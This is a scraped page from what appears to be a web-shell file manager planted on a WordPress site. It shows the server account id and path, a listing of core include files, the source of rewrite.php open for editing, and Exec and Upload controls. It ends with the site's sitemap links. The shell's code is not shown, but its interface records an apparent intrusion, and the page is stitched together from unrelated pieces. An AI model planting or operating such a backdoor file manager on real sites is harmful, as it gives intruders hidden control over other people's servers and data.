WPR FM
uid=9814(b13i2mwmyrdbxio) php=8.4.28
info
cwd /data/sites/web/b13i2mwmyrdbxio/www |
naik
Buka
D
ID3/
D
IXR/
D
PHPMailer/
D
Requests/
D
SimplePie/
D
Text/
D
abilities-api/
-
abilities-api.php
32800
x
-
abilities.php
11797
x
-
admin-bar.php
40115
x
D
ai-client/
-
ai-client.php
2549
x
D
assets/
-
atomlib.php
12181
x
-
author-template.php
19844
x
D
block-bindings/
-
block-bindings.php
7632
x
-
block-editor.php
28724
x
-
block-i18n.json
316
x
D
block-patterns/
-
block-patterns.php
15606
x
D
block-supports/
-
block-template-utils.php
63477
x
-
block-template.php
18257
x
D
blocks/
-
blocks.php
124205
x
-
bookmark-template.php
12768
x
-
bookmark.php
15427
x
D
build/
-
cache-compat.php
11021
x
-
cache.php
13486
x
-
canonical.php
34786
x
-
capabilities.php
43584
x
-
category-template.php
56990
x
-
category.php
12834
x
D
certificates/
-
class-IXR.php
2609
x
-
class-avif-info.php
30008
x
-
class-feed.php
539
x
-
class-http.php
367
x
-
class-json.php
43676
x
-
class-oembed.php
401
x
-
class-phpass.php
6771
x
-
class-phpmailer.php
664
x
-
class-pop3.php
21100
x
-
class-requests.php
2237
x
-
class-simplepie.php
453
x
-
class-smtp.php
457
x
-
class-snoopy.php
37715
x
-
class-walker-category-dropdown.php
2469
x
-
class-walker-category.php
8477
x
-
class-walker-comment.php
14221
x
-
class-walker-nav-menu.php
12044
x
-
class-walker-page-dropdown.php
2710
x
-
class-walker-page.php
7612
x
-
class-wp-admin-bar.php
18002
x
-
class-wp-ajax-response.php
5288
x
-
class-wp-application-passwords.php
17099
x
-
class-wp-block-bindings-registry.php
8263
x
-
class-wp-block-bindings-source.php
2992
x
-
class-wp-block-editor-context.php
1350
x
-
class-wp-block-list.php
4713
x
-
class-wp-block-metadata-registry.php
11846
x
-
class-wp-block-parser-block.php
2555
x
-
class-wp-block-parser-frame.php
1994
x
-
class-wp-block-parser.php
11561
x
-
class-wp-block-pattern-categories-registry.php
4383
x
-
class-wp-block-patterns-registry.php
10265
x
-
class-wp-block-processor.php
69914
x
-
class-wp-block-styles-registry.php
6419
x
-
class-wp-block-supports.php
7578
x
-
class-wp-block-template.php
2111
x
-
class-wp-block-templates-registry.php
7080
x
-
class-wp-block-type-registry.php
5305
x
-
class-wp-block-type.php
17222
x
-
class-wp-block.php
28236
x
-
class-wp-classic-to-block-menu-converter.php
4026
x
-
class-wp-comment-query.php
49040
x
-
class-wp-comment.php
17249
x
-
class-wp-connector-registry.php
15181
x
-
class-wp-customize-control.php
26112
x
-
class-wp-customize-manager.php
203420
x
-
class-wp-customize-nav-menus.php
58285
x
-
class-wp-customize-panel.php
10703
x
-
class-wp-customize-section.php
11209
x
-
class-wp-customize-setting.php
37685
x
-
class-wp-customize-widgets.php
72596
x
-
class-wp-date-query.php
35970
x
-
class-wp-dependencies.php
17089
x
-
class-wp-dependency.php
2653
x
-
class-wp-duotone.php
40836
x
-
class-wp-editor.php
72228
x
-
class-wp-embed.php
15908
x
-
class-wp-error.php
7514
x
-
class-wp-exception.php
253
x
-
class-wp-fatal-error-handler.php
8150
x
-
class-wp-feed-cache-transient.php
3304
x
-
class-wp-feed-cache.php
969
x
-
class-wp-filter-sentinel.php
760
x
-
class-wp-hook.php
17584
x
-
class-wp-http-cookie.php
7269
x
-
class-wp-http-curl.php
13261
x
-
class-wp-http-encoding.php
6689
x
-
class-wp-http-ixr-client.php
3516
x
-
class-wp-http-proxy.php
5980
x
-
class-wp-http-requests-hooks.php
2022
x
-
class-wp-http-requests-response.php
4243
x
-
class-wp-http-response.php
2977
x
-
class-wp-http-streams.php
16764
x
-
class-wp-http.php
41737
x
-
class-wp-icon-collections-registry.php
5805
x
-
class-wp-icons-registry.php
9903
x
-
class-wp-image-editor-gd.php
20741
x
-
class-wp-image-editor-imagick.php
43454
x
-
class-wp-image-editor.php
17456
x
-
class-wp-list-util.php
7443
x
-
class-wp-locale-switcher.php
6776
x
-
class-wp-locale.php
16848
x
-
class-wp-matchesmapregex.php
1828
x
-
class-wp-meta-query.php
31697
x
-
class-wp-metadata-lazyloader.php
6833
x
-
class-wp-navigation-fallback.php
9193
x
-
class-wp-network-query.php
19989
x
-
class-wp-network.php
12411
x
-
class-wp-object-cache.php
17524
x
-
class-wp-oembed-controller.php
7152
x
-
class-wp-oembed.php
33922
x
-
class-wp-paused-extensions-storage.php
5067
x
-
class-wp-phpmailer.php
4348
x
-
class-wp-plugin-dependencies.php
25209
x
-
class-wp-post-type.php
30672
x
-
class-wp-post.php
8806
x
-
class-wp-query.php
165603
x
-
class-wp-recovery-mode-cookie-service.php
6877
x
-
class-wp-recovery-mode-email-service.php
11162
x
-
class-wp-recovery-mode-key-service.php
4914
x
-
class-wp-recovery-mode-link-service.php
3523
x
-
class-wp-recovery-mode.php
11460
x
-
class-wp-rewrite.php
63693
x
-
class-wp-role.php
2523
x
-
class-wp-roles.php
9326
x
-
class-wp-script-modules.php
40743
x
-
class-wp-scripts.php
36754
x
-
class-wp-session-tokens.php
7319
x
-
class-wp-simplepie-file.php
3552
x
-
class-wp-simplepie-sanitize-kses.php
1903
x
-
class-wp-site-query.php
31482
x
-
class-wp-site.php
7836
x
-
class-wp-speculation-rules.php
7884
x
-
class-wp-styles.php
13316
x
-
class-wp-tax-query.php
19577
x
-
class-wp-taxonomy.php
18559
x
-
class-wp-term-query.php
40751
x
-
class-wp-term.php
5263
x
-
class-wp-text-diff-renderer-inline.php
979
x
-
class-wp-text-diff-renderer-table.php
18925
x
-
class-wp-textdomain-registry.php
10481
x
-
class-wp-theme-json-data.php
1805
x
-
class-wp-theme-json-resolver.php
35692
x
-
class-wp-theme-json-schema.php
7367
x
-
class-wp-theme-json.php
222059
x
-
class-wp-theme.php
65811
x
-
class-wp-token-map.php
29032
x
-
class-wp-url-pattern-prefixer.php
4802
x
-
class-wp-user-meta-session-tokens.php
2954
x
-
class-wp-user-query.php
44102
x
-
class-wp-user-request.php
2342
x
-
class-wp-user.php
23189
x
-
class-wp-view-config-data.php
29427
x
-
class-wp-walker.php
13292
x
-
class-wp-widget-factory.php
4113
x
-
class-wp-widget.php
18452
x
-
class-wp-xmlrpc-server.php
219083
x
-
class-wp.php
26520
x
-
class-wpdb.php
121437
x
-
class.wp-dependencies.php
373
x
-
class.wp-scripts.php
343
x
-
class.wp-styles.php
338
x
-
comment-template.php
103211
x
-
comment.php
150630
x
-
compat-utf8.php
19386
x
-
compat.php
22479
x
-
connectors.php
32922
x
-
cron.php
46266
x
D
css/
D
customize/
-
date.php
400
x
-
default-constants.php
11365
x
-
default-filters.php
39500
x
-
default-widgets.php
2288
x
-
deprecated.php
193977
x
-
embed-template.php
338
x
-
embed.php
39215
x
-
error-protection.php
4092
x
-
feed-atom-comments.php
5504
x
-
feed-atom.php
3114
x
-
feed-rdf.php
2668
x
-
feed-rss.php
1189
x
-
feed-rss2-comments.php
4136
x
-
feed-rss2.php
3799
x
-
feed.php
25189
x
D
fonts/
-
fonts.php
9789
x
-
formatting.php
357884
x
-
functions.php
295481
x
-
functions.wp-scripts.php
20492
x
-
functions.wp-styles.php
8654
x
-
general-template.php
184198
x
-
global-styles-and-settings.php
20780
x
D
html-api/
-
http.php
28961
x
-
https-detection.php
5857
x
-
https-migration.php
4741
x
-
icons.php
6334
x
D
images/
D
interactivity-api/
D
js/
-
json-schema.php
7802
x
-
kses.php
91874
x
D
l10n/
-
l10n.php
71415
x
-
link-template.php
160143
x
-
load.php
56476
x
-
locale.php
162
x
-
media-template.php
65759
x
-
media.php
236804
x
-
meta.php
66739
x
-
ms-blogs.php
26324
x
-
ms-default-constants.php
4921
x
-
ms-default-filters.php
6636
x
-
ms-deprecated.php
21787
x
-
ms-files.php
2857
x
-
ms-functions.php
92530
x
-
ms-load.php
20055
x
-
ms-network.php
3782
x
-
ms-settings.php
4197
x
-
ms-site.php
41729
x
-
nav-menu-template.php
25983
x
-
nav-menu.php
44269
x
-
option.php
105246
x
D
php-ai-client/
D
php-compat/
-
pluggable-deprecated.php
6324
x
-
pluggable.php
127919
x
-
plugin.php
37123
x
D
pomo/
-
post-formats.php
7070
x
-
post-template.php
69129
x
-
post-thumbnail-template.php
10879
x
-
post.php
305589
x
-
query.php
37554
x
-
registration-functions.php
200
x
-
registration.php
200
x
D
rest-api/
-
rest-api.php
103142
x
-
revision.php
31241
x
-
rewrite.php
19567
x
-
robots-template.php
5185
x
-
rss-functions.php
277
x
-
rss.php
23203
x
-
script-loader.php
163550
x
-
script-modules.php
12311
x
-
session.php
258
x
-
shortcodes.php
24870
x
D
sitemaps/
-
sitemaps.php
3238
x
D
sodium_compat/
-
speculative-loading.php
11880
x
-
spl-autoload-compat.php
441
x
D
style-engine/
-
style-engine.php
8045
x
-
taxonomy.php
178307
x
-
template-canvas.php
544
x
-
template-loader.php
4267
x
-
template.php
38826
x
D
theme-compat/
-
theme-i18n.json
1892
x
-
theme-previews.php
2887
x
-
theme-templates.php
4060
x
-
theme.json
9480
x
-
theme.php
134913
x
-
update.php
38269
x
-
user.php
180301
x
-
utf8.php
6977
x
-
vars.php
6600
x
-
version.php
1103
x
-
view-config.php
19087
x
-
view-transitions.php
602
x
D
widgets/
-
widgets.php
70866
x
-
wp-db.php
445
x
-
wp-diff.php
792
x
Upload
Simpan
<?php /** * WordPress Rewrite API * * @package WordPress * @subpackage Rewrite */ /** * Endpoint mask that matches nothing. * * @since 2.1.0 */ define( 'EP_NONE', 0 ); /** * Endpoint mask that matches post permalinks. * * @since 2.1.0 */ define( 'EP_PERMALINK', 1 ); /** * Endpoint mask that matches attachment permalinks. * * @since 2.1.0 */ define( 'EP_ATTACHMENT', 2 ); /** * Endpoint mask that matches any date archives. * * @since 2.1.0 */ define( 'EP_DATE', 4 ); /** * Endpoint mask that matches yearly archives. * * @since 2.1.0 */ define( 'EP_YEAR', 8 ); /** * Endpoint mask that matches monthly archives. * * @since 2.1.0 */ define( 'EP_MONTH', 16 ); /** * Endpoint mask that matches daily archives. * * @since 2.1.0 */ define( 'EP_DAY', 32 ); /** * Endpoint mask that matches the site root. * * @since 2.1.0 */ define( 'EP_ROOT', 64 ); /** * Endpoint mask that matches comment feeds. * * @since 2.1.0 */ define( 'EP_COMMENTS', 128 ); /** * Endpoint mask that matches searches. * * Note that this only matches a search at a "pretty" URL such as * `/search/my-search-term`, not `?s=my-search-term`. * * @since 2.1.0 */ define( 'EP_SEARCH', 256 ); /** * Endpoint mask that matches category archives. * * @since 2.1.0 */ define( 'EP_CATEGORIES', 512 ); /** * Endpoint mask that matches tag archives. * * @since 2.3.0 */ define( 'EP_TAGS', 1024 ); /** * Endpoint mask that matches author archives. * * @since 2.1.0 */ define( 'EP_AUTHORS', 2048 ); /** * Endpoint mask that matches pages. * * @since 2.1.0 */ define( 'EP_PAGES', 4096 ); /** * Endpoint mask that matches all archive views. * * @since 3.7.0 */ define( 'EP_ALL_ARCHIVES', EP_DATE | EP_YEAR | EP_MONTH | EP_DAY | EP_CATEGORIES | EP_TAGS | EP_AUTHORS ); /** * Endpoint mask that matches everything. * * @since 2.1.0 */ define( 'EP_ALL', EP_PERMALINK | EP_ATTACHMENT | EP_ROOT | EP_COMMENTS | EP_SEARCH | EP_PAGES | EP_ALL_ARCHIVES ); /** * Adds a rewrite rule that transforms a URL structure to a set of query vars. * * Any value in the $after parameter that isn't 'bottom' will result in the rule * being placed at the top of the rewrite rules. * * @since 2.1.0 * @since 4.4.0 Array support was added to the `$query` parameter. * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param string $regex Regular expression to match request against. * @param string|array $query The corresponding query vars for this rewrite rule. * @param string $after Optional. Priority of the new rule. Accepts 'top' * or 'bottom'. Default 'bottom'. */ function add_rewrite_rule( $regex, $query, $after = 'bottom' ) { global $wp_rewrite; $wp_rewrite->add_rule( $regex, $query, $after ); } /** * Adds a new rewrite tag (like %postname%). * * The `$query` parameter is optional. If it is omitted you must ensure that you call * this on, or before, the {@see 'init'} hook. This is because `$query` defaults to * `$tag=`, and for this to work a new query var has to be added. * * @since 2.1.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * @global WP $wp Current WordPress environment instance. * * @param string $tag Name of the new rewrite tag. * @param string $regex Regular expression to substitute the tag for in rewrite rules. * @param string $query Optional. String to append to the rewritten query. Must end in '='. Default empty. */ function add_rewrite_tag( $tag, $regex, $query = '' ) { // Validate the tag's name. if ( strlen( $tag ) < 3 || '%' !== $tag[0] || '%' !== $tag[ strlen( $tag ) - 1 ] ) { return; } global $wp_rewrite, $wp; if ( empty( $query ) ) { $qv = trim( $tag, '%' ); $wp->add_query_var( $qv ); $query = $qv . '='; } $wp_rewrite->add_rewrite_tag( $tag, $regex, $query ); } /** * Removes an existing rewrite tag (like %postname%). * * @since 4.5.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param string $tag Name of the rewrite tag. */ function remove_rewrite_tag( $tag ) { global $wp_rewrite; $wp_rewrite->remove_rewrite_tag( $tag ); } /** * Adds a permalink structure. * * @since 3.0.0 * * @see WP_Rewrite::add_permastruct() * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param string $name Name for permalink structure. * @param string $struct Permalink structure. * @param array $args Optional. Arguments for building the rules from the permalink structure, * see WP_Rewrite::add_permastruct() for full details. Default empty array. */ function add_permastruct( $name, $struct, $args = array() ) { global $wp_rewrite; // Back-compat for the old parameters: $with_front and $ep_mask. if ( ! is_array( $args ) ) { $args = array( 'with_front' => $args ); } if ( func_num_args() === 4 ) { $args['ep_mask'] = func_get_arg( 3 ); } $wp_rewrite->add_permastruct( $name, $struct, $args ); } /** * Removes a permalink structure. * * Can only be used to remove permastructs that were added using add_permastruct(). * Built-in permastructs cannot be removed. * * @since 4.5.0 * * @see WP_Rewrite::remove_permastruct() * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param string $name Name for permalink structure. */ function remove_permastruct( $name ) { global $wp_rewrite; $wp_rewrite->remove_permastruct( $name ); } /** * Adds a new feed type like /atom1/. * * @since 2.1.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param string $feedname Feed name. Should not start with '_'. * @param callable $callback Callback to run on feed display. * @return string Feed action name. */ function add_feed( $feedname, $callback ) { global $wp_rewrite; if ( ! in_array( $feedname, $wp_rewrite->feeds, true ) ) { $wp_rewrite->feeds[] = $feedname; } $hook = 'do_feed_' . $feedname; // Remove default function hook. remove_action( $hook, $hook ); add_action( $hook, $callback, 10, 2 ); return $hook; } /** * Removes rewrite rules and then recreate rewrite rules. * * @since 3.0.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param bool $hard Whether to update .htaccess (hard flush) or just update * rewrite_rules option (soft flush). Default is true (hard). */ function flush_rewrite_rules( $hard = true ) { global $wp_rewrite; if ( is_callable( array( $wp_rewrite, 'flush_rules' ) ) ) { $wp_rewrite->flush_rules( $hard ); } } /** * Adds an endpoint, like /trackback/. * * Adding an endpoint creates extra rewrite rules for each of the matching * places specified by the provided bitmask. For example: * * add_rewrite_endpoint( 'json', EP_PERMALINK | EP_PAGES ); * * will add a new rewrite rule ending with "json(/(.*))?/?$" for every permastruct * that describes a permalink (post) or page. This is rewritten to "json=$match" * where $match is the part of the URL matched by the endpoint regex (e.g. "foo" in * "[permalink]/json/foo/"). * * A new query var with the same name as the endpoint will also be created. * * When specifying $places ensure that you are using the EP_* constants (or a * combination of them using the bitwise OR operator) as their values are not * guaranteed to remain static (especially `EP_ALL`). * * Be sure to flush the rewrite rules - see flush_rewrite_rules() - when your plugin gets * activated and deactivated. * * @since 2.1.0 * @since 4.3.0 Added support for skipping query var registration by passing `false` to `$query_var`. * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param string $name Name of the endpoint. * @param int $places Endpoint mask describing the places the endpoint should be added. * Accepts a mask of: * - `EP_ALL` * - `EP_NONE` * - `EP_ALL_ARCHIVES` * - `EP_ATTACHMENT` * - `EP_AUTHORS` * - `EP_CATEGORIES` * - `EP_COMMENTS` * - `EP_DATE` * - `EP_DAY` * - `EP_MONTH` * - `EP_PAGES` * - `EP_PERMALINK` * - `EP_ROOT` * - `EP_SEARCH` * - `EP_TAGS` * - `EP_YEAR` * @param string|bool $query_var Name of the corresponding query variable. Pass `false` to skip registering a query_var * for this endpoint. Defaults to the value of `$name`. */ function add_rewrite_endpoint( $name, $places, $query_var = true ) { global $wp_rewrite; $wp_rewrite->add_endpoint( $name, $places, $query_var ); } /** * Filters the URL base for taxonomies. * * To remove any manually prepended /index.php/. * * @access private * @since 2.6.0 * * @param string $base The taxonomy base that we're going to filter * @return string */ function _wp_filter_taxonomy_base( $base ) { if ( ! empty( $base ) ) { $base = preg_replace( '|^/index\.php/|', '', $base ); $base = trim( $base, '/' ); } return $base; } /** * Resolves numeric slugs that collide with date permalinks. * * Permalinks of posts with numeric slugs can sometimes look to WP_Query::parse_query() * like a date archive, as when your permalink structure is `/%year%/%postname%/` and * a post with post_name '05' has the URL `/2015/05/`. * * This function detects conflicts of this type and resolves them in favor of the * post permalink. * * Note that, since 4.3.0, wp_unique_post_slug() prevents the creation of post slugs * that would result in a date archive conflict. The resolution performed in this * function is primarily for legacy content, as well as cases when the admin has changed * the site's permalink structure in a way that introduces URL conflicts. * * @since 4.3.0 * * @param array $query_vars Optional. Query variables for setting up the loop, as determined in * WP::parse_request(). Default empty array. * @return array Returns the original array of query vars, with date/post conflicts resolved. */ function wp_resolve_numeric_slug_conflicts( $query_vars = array() ) { if ( ! isset( $query_vars['year'] ) && ! isset( $query_vars['monthnum'] ) && ! isset( $query_vars['day'] ) ) { return $query_vars; } // Identify the 'postname' position in the permastruct array. $permastructs = array_values( array_filter( explode( '/', get_option( 'permalink_structure' ) ) ) ); $postname_index = array_search( '%postname%', $permastructs, true ); if ( false === $postname_index ) { return $query_vars; } /* * A numeric slug could be confused with a year, month, or day, depending on position. To account for * the possibility of post pagination (eg 2015/2 for the second page of a post called '2015'), our * `is_*` checks are generous: check for year-slug clashes when `is_year` *or* `is_month`, and check * for month-slug clashes when `is_month` *or* `is_day`. */ $compare = ''; if ( 0 === $postname_index && ( isset( $query_vars['year'] ) || isset( $query_vars['monthnum'] ) ) ) { $compare = 'year'; } elseif ( $postname_index && '%year%' === $permastructs[ $postname_index - 1 ] && ( isset( $query_vars['monthnum'] ) || isset( $query_vars['day'] ) ) ) { $compare = 'monthnum'; } elseif ( $postname_index && '%monthnum%' === $permastructs[ $postname_index - 1 ] && isset( $query_vars['day'] ) ) { $compare = 'day'; } if ( ! $compare ) { return $query_vars; } // This is the potentially clashing slug. $value = ''; if ( array_key_exists( $compare, $query_vars ) ) { $value = $query_vars[ $compare ]; } $post = get_page_by_path( $value, OBJECT, 'post' ); if ( ! ( $post instanceof WP_Post ) ) { return $query_vars; } // If the date of the post doesn't match the date specified in the URL, resolve to the date archive. if ( preg_match( '/^([0-9]{4})\-([0-9]{2})/', $post->post_date, $matches ) && isset( $query_vars['year'] ) && ( 'monthnum' === $compare || 'day' === $compare ) ) { // $matches[1] is the year the post was published. if ( (int) $query_vars['year'] !== (int) $matches[1] ) { return $query_vars; } // $matches[2] is the month the post was published. if ( 'day' === $compare && isset( $query_vars['monthnum'] ) && (int) $query_vars['monthnum'] !== (int) $matches[2] ) { return $query_vars; } } /* * If the located post contains nextpage pagination, then the URL chunk following postname may be * intended as the page number. Verify that it's a valid page before resolving to it. */ $maybe_page = ''; if ( 'year' === $compare && isset( $query_vars['monthnum'] ) ) { $maybe_page = $query_vars['monthnum']; } elseif ( 'monthnum' === $compare && isset( $query_vars['day'] ) ) { $maybe_page = $query_vars['day']; } // Bug found in #11694 - 'page' was returning '/4'. $maybe_page = (int) trim( $maybe_page, '/' ); $post_page_count = substr_count( $post->post_content, '<!--nextpage-->' ) + 1; // If the post doesn't have multiple pages, but a 'page' candidate is found, resolve to the date archive. if ( 1 === $post_page_count && $maybe_page ) { return $query_vars; } // If the post has multiple pages and the 'page' number isn't valid, resolve to the date archive. if ( $post_page_count > 1 && $maybe_page > $post_page_count ) { return $query_vars; } // If we've gotten to this point, we have a slug/date clash. First, adjust for nextpage. $query_vars['page'] = $maybe_page; // Next, unset autodetected date-related query vars. unset( $query_vars['year'] ); unset( $query_vars['monthnum'] ); unset( $query_vars['day'] ); // Then, set the identified post. $query_vars['name'] = $post->post_name; // Finally, return the modified query vars. return $query_vars; } /** * Examines a URL and try to determine the post ID it represents. * * Checks are supposedly from the hosted site blog. * * @since 1.0.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * @global WP $wp Current WordPress environment instance. * * @param string $url Permalink to check. * @return int Post ID, or 0 on failure. */ function url_to_postid( $url ) { global $wp_rewrite; /** * Filters the URL to derive the post ID from. * * @since 2.2.0 * * @param string $url The URL to derive the post ID from. */ $url = apply_filters( 'url_to_postid', $url ); $url_host = parse_url( $url, PHP_URL_HOST ); if ( is_string( $url_host ) ) { // Only a leading 'www.' is optional. Removing it anywhere else would match a different host. $url_host = preg_replace( '|^www\.|', '', $url_host ); } else { $url_host = ''; } $home_url_host = parse_url( home_url(), PHP_URL_HOST ); if ( is_string( $home_url_host ) ) { $home_url_host = preg_replace( '|^www\.|', '', $home_url_host ); } else { $home_url_host = ''; } // Bail early if the URL does not belong to this site. if ( $url_host && $url_host !== $home_url_host ) { return 0; } // First, check to see if there is a 'p=N' or 'page_id=N' to match against. if ( preg_match( '#[?&](p|page_id|attachment_id)=(\d+)#', $url, $values ) ) { $id = absint( $values[2] ); if ( $id ) { return $id; } } // Get rid of the #anchor. $url_split = explode( '#', $url ); $url = $url_split[0]; // Get rid of URL ?query=string. $url_split = explode( '?', $url ); $url = $url_split[0]; // Set the correct URL scheme. $scheme = parse_url( home_url(), PHP_URL_SCHEME ); $url = set_url_scheme( $url, $scheme ); // Add 'www.' if it is absent and should be there. if ( str_contains( home_url(), '://www.' ) && ! str_contains( $url, '://www.' ) ) { $url = str_replace( '://', '://www.', $url ); } // Strip 'www.' if it is present and shouldn't be. if ( ! str_contains( home_url(), '://www.' ) ) { $url = str_replace( '://www.', '://', $url ); } if ( trim( $url, '/' ) === home_url() && 'page' === get_option( 'show_on_front' ) ) { $page_on_front = get_option( 'page_on_front' ); if ( $page_on_front && get_post( $page_on_front ) instanceof WP_Post ) { return (int) $page_on_front; } } // Check to see if we are using rewrite rules. $rewrite = $wp_rewrite->wp_rewrite_rules(); // Not using rewrite rules, and 'p=N' and 'page_id=N' methods failed, so we're out of options. if ( empty( $rewrite ) ) { return 0; } // Strip 'index.php/' if we're not using path info permalinks. if ( ! $wp_rewrite->using_index_permalinks() ) { $url = str_replace( $wp_rewrite->index . '/', '', $url ); } if ( str_contains( trailingslashit( $url ), home_url( '/' ) ) ) { // Chop off http://domain.com/[path]. $url = str_replace( home_url(), '', $url ); } else { // Chop off /path/to/blog. $home_path = parse_url( home_url( '/' ) ); $home_path = $home_path['path'] ?? ''; $url = preg_replace( sprintf( '#^%s#', preg_quote( $home_path ) ), '', trailingslashit( $url ) ); } // Trim leading and lagging slashes. $url = trim( $url, '/' ); $request = $url; $post_type_query_vars = array(); foreach ( get_post_types( array(), 'objects' ) as $post_type => $t ) { if ( ! empty( $t->query_var ) ) { $post_type_query_vars[ $t->query_var ] = $post_type; } } // Look for matches. $request_match = $request; foreach ( (array) $rewrite as $match => $query ) { /* * If the requesting file is the anchor of the match, * prepend it to the path info. */ if ( ! empty( $url ) && ( $url !== $request ) && str_starts_with( $match, $url ) ) { $request_match = $url . '/' . $request; } if ( preg_match( "#^$match#", $request_match, $matches ) ) { if ( $wp_rewrite->use_verbose_page_rules && preg_match( '/pagename=\$matches\[([0-9]+)\]/', $query, $varmatch ) ) { // This is a verbose page match, let's check to be sure about it. $page = get_page_by_path( $matches[ $varmatch[1] ] ); if ( ! $page ) { continue; } $post_status_obj = get_post_status_object( $page->post_status ); if ( ! $post_status_obj->public && ! $post_status_obj->protected && ! $post_status_obj->private && $post_status_obj->exclude_from_search ) { continue; } } /* * Got a match. * Trim the query of everything up to the '?'. */ $query = preg_replace( '!^.+\?!', '', $query ); // Substitute the substring matches into the query. $query = addslashes( WP_MatchesMapRegex::apply( $query, $matches ) ); // Filter out non-public query vars. global $wp; parse_str( $query, $query_vars ); $query = array(); foreach ( (array) $query_vars as $key => $value ) { if ( in_array( (string) $key, $wp->public_query_vars, true ) ) { $query[ $key ] = $value; if ( isset( $post_type_query_vars[ $key ] ) ) { $query['post_type'] = $post_type_query_vars[ $key ]; $query['name'] = $value; } } } // Resolve conflicts between posts with numeric slugs and date archive queries. $query = wp_resolve_numeric_slug_conflicts( $query ); // Do the query. $query = new WP_Query( $query ); if ( ! empty( $query->posts ) && $query->is_singular ) { return $query->post->ID; } else { return 0; } } } return 0; }
Exec
https://plant-my-tree.de/post-sitemap1.xml
2026-11-20T10:18:25+01:00
https://plant-my-tree.de/page-sitemap1.xml
2026-12-03T12:53:57+01:00
https://plant-my-tree.de/lp-sitemap1.xml
2026-12-02T08:42:41+01:00
https://plant-my-tree.de/ratgeber-sitemap1.xml
2026-11-24T10:16:19+01:00
https://plant-my-tree.de/aufforstungsflachen-sitemap1.xml
2026-11-23T12:04:20+01:00
https://plant-my-tree.de/blog-sitemap1.xml
2026-11-24T09:10:09+01:00
https://plant-my-tree.de/category-sitemap1.xml
https://plant-my-tree.de/post_tag-sitemap1.xml